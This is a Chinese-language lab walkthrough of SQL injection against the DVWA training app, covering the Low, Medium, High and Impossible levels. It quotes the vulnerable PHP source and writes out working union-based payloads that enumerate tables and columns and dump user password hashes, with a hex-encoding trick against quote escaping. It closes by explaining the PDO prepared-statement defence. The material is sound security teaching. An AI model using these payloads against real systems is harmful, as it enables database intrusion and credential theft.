目录
一、SQL注入
1.SQL注入原理
通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段。
2.SQL注入分类
(1) 数字型
(2) 字符型
(3) 报错注入
(4) Boollean注入
(5) 时间注入
3.SQL注入思路
(1).判断是否存在注入,注入是字符型还是数字型
(2).猜解SQL查询语句中的字段数
(3).确定回显位置
(4).获取当前数据库
(5).获取数据库中的表
(6).获取表中的字段名
(7).得到数据
4.SQL注入绕过方法
(1)注释符号绕过 (2)大小写绕过 (3)内联注释绕过
(4)特殊编码绕过 (5)空格过滤绕过 (6)过滤or and xor not 绕过
二、SQL注入漏洞的分析
1. 定义
SQL注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。
2. 原因
(1)SQL 注入漏洞存在的原因,就是拼接SQL参数。也就是将用于输入的查询参数,直接拼接在SQL语句中,导致了SQL注入漏洞。
(2)web 开发人员无法保证所有的输入都已经过滤
(3)攻击者利用发送给服务器的输入参数构造可执行的 SQL 代码(可加入到 get 请求、 post 谓求、 http 头信思、 cookie 中)
(4)数据库未做相应的安全配置
3.危害
- 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
- 绕过认证,列如绕过验证登录网站后台。
- 注入可以借助数据库的存储过程进行提权等操作。
三、Web 程序三层架构
三层架构(3-tier architecture) 通常意义上就是将整个业务应用划分为:
1.界面层(User Interface layer)
2.业务逻辑层(Business Logic Layer)
3.数据访问层(Data access layer)。
在软件体系架构设计中,分层式结构是最常见,也是最重要的一种结构,被应用于众多类型的软件开发。
由数据库驱动的Web应用程序依从三层架构的思想也分为了三层:
1.表示层。
2.业务逻辑层(又称领域层)
3.数据访问层(又称存储层)
拓扑结构
在上图中,用户访问实验楼服务器进行了如下过程:
在 Web 浏览器中输入 www.shiyanlou.com 连接到实验楼服务器。
业务逻辑层的 Web 服务器从本地存储中加载 index.php 脚本并解析。
脚本连接位于数据访问层的 DBMS(数据库管理系统),并执行 Sql 语句。
数据访问层的数据库管理系统返回 Sql 语句执行结果给 Web 服务器。
业务逻辑层的 Web 服务器将 Web 页面封装成 HTML 格式发送给表示层的 Web 浏览器。
表示层的 Web 浏览器解析 HTML 文件,将内容展示给用户。
在三层架构中,所有通信都必须要经过中间层,简单地说,三层架构是一种线性关系。
四、SQL Injection
1.LOW
代码审计
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
在后台执行的sql语句
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
漏洞分析
(1)判断注入类型,是数字型注入,还是字符型注入。
字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
我们输入1,查看回显正常 (URL中id=1,说明php页面通过get方法传递参数)。
实际执行sql语句为
SELECT first_name, last_name FROM users WHERE user_id = '1';
我们输入1' 看回显,结果报错。
我们可以猜出是字符型注入,继续输入1' and '1' ='1和1' and '1'='2。
1'and '1'='1 正常回显
1'and '1'='2 报错
我们根据id=1'报错和id=1'and '1'='1正确,我们可以确定是字符型注入,查看源代码也会知道是字符型注入。
(2)判断字段数 order by
我们使用order by 进行判断字段数, 直到order by 进行报错时候就是字段数。
输入1' order by 1# 后台执行的sql语句
查询users表中user_id为1的数据并按第一字段排行
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误)
id=1' order by 2# 没有报错
id=1' order by 3#时报错了,说明字段只有2列.
(3)判断回显位置 联合查询union select
union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2,接下来就好办了。
输入1' union select database(),user()#进行查询 :
- database()将会返回当前网站所使用的数据库名字.
- user()将会返回执行当前查询的用户名.
实际执行的sql语句:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;
1' union select database(),user()#
通过上图返回信息,我们成功获取到:
当前网站使用数据库为 dvwa .
当前执行查询用户名为 root@localhost .
同理我们再输入 1' union select version(),@@version_compile_os#进行查询:
version() 获取当前数据库版本.
@@version_compile_os 获取当前操作系统。
实际执行的Sql语句:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;
1' union select version(),@@version_compile_os#
通过上图返回信息,我们又成功获取到:
- 当前数据库版本为 : 5.7.26
- 当前操作系统为 : win64
判断回显位置 1' union select 1,2#
判断数据库 1' union select 1,detabase()#
(4)获取表名。
information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #进行查询:
实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#;
发现报错 Illegal mix of collations for operation ‘UNION’
解决办法: 在百度上搜索到是因为编码的问题,进一步搜索发现可以通过下载PhpMyAdmin来修改编码,具体步骤如下:
打开小皮 下载phpmyadmin
点击管理,浏览器打开,登录你的root数据库。
点击数据库dvwa,操作,排序规则将原来的编码改成 “utf8_general_ci”,勾选更改所以表规则,执行,重启小皮和dvwa。
1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
两个都可以
通过上图返回信息,我们再获取到:
- dvwa 数据库有两个数据表,分别是 guestbook 和 users .
获取表中的字段名
从users表获取表中的字段名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
实际Sql语句:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#';
获取字段中的数据
猜测users表的字段为 user 和 password ,所以输入:1' union select user,password from users # 进行查询:
实际执行的 Sql 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;
获得数据 1' union select user,password from users#
可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到www.cmd5.com
进行解密。
小结一下
#判断注入类型 数字 字符(看是否有单引号闭合)
id=1 id=1'
1' and '1' ='1和1' and '1'='2
#判断字段数
order by
id=1' order by 1#
#判断回显 联合查询 union select
1' union select database(),user()# #数据库 用户名
1' union select version(),@@version_compile_os# #数据库版本 操作系统
#获取表名
1' union select table_name,table_schema from information_schema.tables where table_schema= 'database'#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='database'#
#获取表中的字段名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
#获取表中的数据
1' union select user,password from users
2.Medium
代码审计
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
我们可以看到这里加入了一个下拉选项框,无法输入要查询的内容,只能选择1-5,且对单引号进行了过滤,并且使用转义预防SQL注入。
漏洞复现
我们的绕过措施是用burpsuite抓包或者用浏览器插件Hackbar
然后按照上面的sql注入流程一步步修改id来重新发包更新数据,直到获取管理员账户和密码。
Hackbar
Submit=Submit&id=1
id=1' 发现对 ' 英文单引号进行了转义,所以Medium级别不能用'
Submit=Submit&id=1'
#判断字段数
Submit=Submit&id=1 order by 2 #
#联合查询
#查询数据库
Submit=Submit&id=1 union select database(),user()#
#获取表名
Submit=Submit&id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='database'#
#获取表中的字段名
Submit=Submit&id=1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
#查询users里面的用户名和密码
Submit=Submit&id=1 union select user,password from users #
bp抓包,ctrl+r发送至Repeater。
id=1 返回页面正常
#判断字段数
id=1 order by 2#
#判断回显 联合查询 union select
1 union select database(),user()# #数据库 用户名
1 union select version(),@@version_compile_os# #数据库版本 操作系统
#获取表名
1 union select table_name,table_schema from information_schema.tables where table_schema= database()#
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
#获取表中的字段名
1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273# users十六进制: 0x7573657273
#获取表中的数据
1 union select user,password from users
注意获取字段名的时候,会没有反应,因为源代码对单引号进行了转义,我们采用16进制绕过,得知users的十六进制为 0x7573657273
3.High
代码审计
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
我们可以看到添加了limit 1 做限制,说明扫出一个结果就不向下扫描了,只输出一个结果。
而且查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入(自动化注入),因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
漏洞复现
和low级别sql注入相同,与Low级别不一样的是在新页面输入id
的值,其值通过session
方式存储在服务器端,注意注释# (%23)就可以。
4.Impossible
代码审计
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
我们可以看到代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入。
- Check Anti-CSRF token部分:
防止CSRF攻击,Token 是在服务端产生的。如果前端使用用户名/密码向服务端请求认证,服务端认证成功,那么在服务端会返回 Token 给前端。前端可以在每次请求的时候带上 Token 证明自己的合法地位
- Was a number entered?部分:
is_numeric() 函数用于检测变量是否为数字或数字字符串。
$data = $db->prepare预编译sql语句,能防止sql注入。
- Make sure only 1 result is returned部分:
$data->rowCount() == 1限制了只返回一条语句。
我们试着尝试一下 输入1
判断注入类型,发现Impossible等级很难找到注入点.
1 and 1=2
1'and '1'='2
查询回显位置,发现无任何结果
1' union select 1,3 #
PDO技术:
1、在SQL语句实例化对象之后,对请求mysql的sql语句做预处理。在这里,我们使用了占位符的方式,将该sql传入prepare函数后,预处理函数就会得到本次查询语句的sql模板类,并将这个模板类返回,模板可以防止传那些有猫腻的变量改变本身查询语句的语义。
2、对sql模板绑定参数,可以使用两种方法,bindValue和bindParam,通过代码能看出区别,bindValue是传入值,bindParam是传入变量。其中两个函数中的第一个参数“数字”代表为占位符中的第几个参数。
3、execute( )执行预准备语句,fetchAll( )返回包含所有结果集行的数组。
在php5.3.6之后,PDO不会在本地对sql进行拼接然后将拼接后的sql传递给mysql server处理(也就是不会在本地做转义处理)。PDO的处理方法是在prepare函数调用时,将预处理好的sql模板(包含占位符)通过mysql协议传递给mysql server,告诉mysql server模板的结构以及语义。当调用execute时,将两个参数传递给mysql server。由mysql server完成变量的转移处理。将sql模板和变量分两次传递,即解决了sql注入问题。